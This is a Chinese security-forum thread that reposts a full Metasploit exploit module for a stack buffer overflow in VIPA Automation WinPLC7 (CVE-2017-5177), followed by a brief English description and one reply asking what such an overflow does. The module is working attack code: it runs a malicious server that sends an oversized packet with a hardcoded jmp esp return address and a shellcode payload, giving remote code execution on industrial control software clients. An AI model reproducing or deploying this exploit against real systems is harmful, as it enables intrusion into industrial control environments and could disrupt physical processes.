查看: 157|回复: 1

[系统安全] VIPA Automation WinPLC7 5.0.45.5921 Buffer Overflow Exploit

[复制链接]
  • TA的每日心情
    慵懒
    2017-12-21 18:14
  • 签到天数: 53 天

    连续签到: 1 天

    [LV.5]常住居民I

    发表于 2017-9-16 04:05:28 | 显示全部楼层 |阅读模式
    1. require 'msf/core'
    2.   
    3. class MetasploitModule < Msf::Exploit::Remote
    4.     Rank = GreatRanking
    5.   
    6.     include Msf::Exploit::Remote::TcpServer
    7.   
    8.     def initialize(info = {})
    9.         super(update_info(info,
    10.             'Name'           => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow',
    11.             'Description'    => %q{
    12.                 This module exploits a stack based buffer overflow found in VIPA
    13.                 Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when
    14.                 WinPLC7 connects to a remote server and accepts a malicious packet.
    15.                 The first 2 bytes of this packet are read in and used as the size
    16.                 value for a later recv function.  If a size value of sufficiently
    17.                 large size is supplied a stack buffer overflow will occur
    18.             },
    19.             'Author'         => [ 'james fitts' ],
    20.             'License'        => MSF_LICENSE,
    21.             'References'     =>
    22.                 [
    23.                     [ 'ZDI', '17-112' ],
    24.                     [ 'CVE', '2017-5177' ],
    25.                     [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ]
    26.                 ],
    27.             'Privileged'     => false,
    28.             'DefaultOptions' =>
    29.                 {
    30.                     'EXITFUNC' => 'process',
    31.                 },
    32.             'Payload'        =>
    33.                 {
    34.                     'Space'    => 500,
    35.                     'BadChars' => "",
    36.                     'StackAdjustment' => -3500
    37.                 },
    38.             'Platform'       => 'win',
    39.             'Targets'        =>
    40.                 [
    41.                     [
    42.                         'Windows 7 EN',
    43.                             {
    44.                                 # ws7v5.exe
    45.                                 # jmp esp
    46.                                 'Ret' => 0x00422354
    47.                             }
    48.                     ],
    49.                 ],
    50.             'DefaultTarget' => 0,
    51.             'DisclosureDate' => 'Feb 28 2017'))
    52.   
    53.         register_options(
    54.             [
    55.                 OptPort.new('SRVPORT', [ true, "The port to listen on", 7777])
    56.             ], self.class)
    57.     end
    58.   
    59.     def on_client_data(client)
    60.         p = payload.encoded
    61.   
    62.         pkt =  "\x13\x88\x00\x00\x00"   # len
    63.         pkt += Rex::Text.pattern_create(5000)
    64.   
    65.         pkt[848, 4] = [target.ret].pack('V')
    66.         pkt[852, p.length] = p
    67.   
    68.         client.put(pkt)
    69.         handler
    70.         service.close_client(client)
    71.     end
    72.   
    73. end

    74. #  [2017-09-15]  #
    复制代码
    This Metasploit module exploits a stack based buffer overflow found in VIPA Automation WinPLC7 versions 5.0.45.5921 and below. The overflow is triggered when WinPLC7 connects to a remote server and accepts a malicious packet. The first 2 bytes of this packet are read in and used as the size value for a later recv function. If a size value of sufficiently large size is supplied a stack buffer overflow will occur
  • TA的每日心情
    奋斗
    2018-1-13 01:07
  • 签到天数: 178 天

    连续签到: 1 天

    [LV.7]常住居民III

    查看他的品牌

    发表于 2017-9-17 17:27:47 | 显示全部楼层
    堆栈缓冲区溢出  有什么作用?解释一下?
    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    站长推荐上一条 /1 下一条